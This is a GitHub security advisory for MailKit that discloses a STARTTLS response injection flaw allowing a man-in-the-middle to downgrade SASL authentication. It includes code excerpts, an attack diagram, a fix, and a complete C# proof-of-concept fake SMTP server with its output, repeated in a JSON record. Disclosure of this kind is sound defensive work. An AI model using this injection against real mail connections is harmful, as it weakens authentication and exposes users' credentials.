GHSA-9J88-VVJ5-VHGR

Vulnerability from github – Published: 2026-04-18 01:13 – Updated: 2026-04-18 01:13
VLAI?
Summary
MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade
Details

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MailKit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T01:13:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in `SmtpStream`, `ImapStream`, and `Pop3Stream` is not flushed when the underlying stream is replaced with `SslStream` during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).\n\n### Details\n\nThe `Stream` property in `SmtpStream` (line 84-86), `ImapStream`, and `Pop3Stream` is a simple auto-property with no buffer reset:\n\n```csharp\npublic Stream Stream {\n    get; internal set;  // \u2190 No buffer reset on set!\n}\n```\n\nDuring the STARTTLS upgrade in `SmtpClient.cs` (lines 1372-1389):\n\n```csharp\n// Reads STARTTLS response \u2014 \"220 Ready\" consumed, any extra data stays in buffer\nresponse = Stream.SendCommand(\"STARTTLS\\r\\n\", cancellationToken);\n\n// Swaps to TLS \u2014 buffer NOT flushed!\nvar tls = new SslStream(stream, false, ValidateRemoteCertificate);\nStream.Stream = tls;\nSslHandshake(tls, host, cancellationToken);\n\n// Reads EHLO response \u2014 processes INJECTED pre-TLS data from buffer first!\nEhlo(true, cancellationToken);\n```\n\nA MitM appends extra data after the `\"220 Ready\\r\\n\"` STARTTLS response. Both arrive in one TCP read into `SmtpStream`\u0027s 4096-byte internal buffer. `ReadResponse()` parses `\"220 Ready\"` and stops \u2014 the injected data remains at `inputIndex`. After `Stream.Stream = tls`, the buffer is not cleared. When `Ehlo()` calls `ReadResponse()`, it checks `inputIndex == inputEnd` \u2014 this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.\n\nThe same pattern exists in `ImapClient.cs` (lines 1485-1509) and `Pop3Client.cs`.\n\n**Attack flow:**\n```\nClient                    MitM                     Real Server\n  |--- STARTTLS ----------\u003e|--- STARTTLS -----------\u003e|\n  |                        |\u003c-- 220 Ready -----------|\n  |\u003c-- \"220 Ready\\r\\n\"-----|                         |\n  |    \"250-evil\\r\\n\"       |  \u2190 INJECTED            |\n  |    \"250 AUTH PLAIN\\r\\n\" |  \u2190 INJECTED            |\n  |    \"250 OK\\r\\n\"         |  \u2190 INJECTED            |\n  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|\n  |--- EHLO (over TLS) ---\u003e|                         |\n  | Reads from BUFFER:     |                         |\n  | \"250 AUTH PLAIN\"       |  \u2190 PRE-TLS DATA        |\n  | PROCESSED AS POST-TLS! |                         |\n```\n\n**Suggested fix:** Reset buffer indices when the stream is replaced:\n```csharp\ninternal set { stream = value; inputIndex = inputEnd; }\n```\n\n### PoC\n\nSelf-contained C# PoC \u2014 creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:\n\n```csharp\nusing System; using System.Net; using System.Net.Security; using System.Net.Sockets;\nusing System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;\nusing System.Text; using System.Threading; using System.Threading.Tasks;\nusing MailKit.Net.Smtp; using MailKit.Security;\n\nclass PoC {\n    static void Main() {\n        using var rsa = RSA.Create(2048);\n        var req = new CertificateRequest(\"CN=test\", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);\n        var cert = new X509Certificate2(req.CreateSelfSigned(\n            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));\n\n        var listener = new TcpListener(IPAddress.Loopback, 0);\n        listener.Start();\n        int port = ((IPEndPoint)listener.LocalEndpoint).Port;\n\n        Task.Run(() =\u003e {\n            using var tcp = listener.AcceptTcpClient();\n            var s = tcp.GetStream();\n            Send(s, \"220 evil.example.com ESMTP\\r\\n\");\n            Read(s);\n            Send(s, \"250-evil.example.com\\r\\n250-STARTTLS\\r\\n250-AUTH SCRAM-SHA-256\\r\\n250 OK\\r\\n\");\n            Read(s);\n            // ATTACK: inject fake EHLO response after \"220 Ready\"\n            Send(s, \"220 Ready\\r\\n250-evil.example.com\\r\\n250-AUTH PLAIN LOGIN\\r\\n250 OK\\r\\n\");\n            var ssl = new SslStream(s, false);\n            ssl.AuthenticateAsServer(cert, false, false);\n            ReadSsl(ssl);\n            SendSsl(ssl, \"250-evil.example.com\\r\\n250-AUTH SCRAM-SHA-256\\r\\n250 OK\\r\\n\");\n            Thread.Sleep(2000);\n        });\n\n        using var client = new SmtpClient();\n        client.ServerCertificateValidationCallback = (a, b, c, d) =\u003e true;\n        client.Connect(\"127.0.0.1\", port, SecureSocketOptions.StartTls);\n        Console.WriteLine($\"Auth mechanisms: {string.Join(\", \", client.AuthenticationMechanisms)}\");\n        // OUTPUT: \"Auth mechanisms: PLAIN, LOGIN\"\n        // Server advertised SCRAM-SHA-256 \u2014 DOWNGRADE CONFIRMED\n        client.Disconnect(false); listener.Stop();\n    }\n    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }\n    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }\n    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }\n    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }\n}\n```\n\n**Result against MailKit 4.12.0:**\n```\nAuth mechanisms: PLAIN, LOGIN\n(Real server advertised SCRAM-SHA-256 \u2014 SASL mechanism DOWNGRADE achieved)\n```\n\n### Impact\n\nAny application using MailKit with `SecureSocketOptions.StartTls` or `StartTlsWhenAvailable` (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.",
  "id": "GHSA-9j88-vvj5-vhgr",
  "modified": "2026-04-18T01:13:46Z",
  "published": "2026-04-18T01:13:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jstedfast/MailKit/security/advisories/GHSA-9j88-vvj5-vhgr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jstedfast/MailKit"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…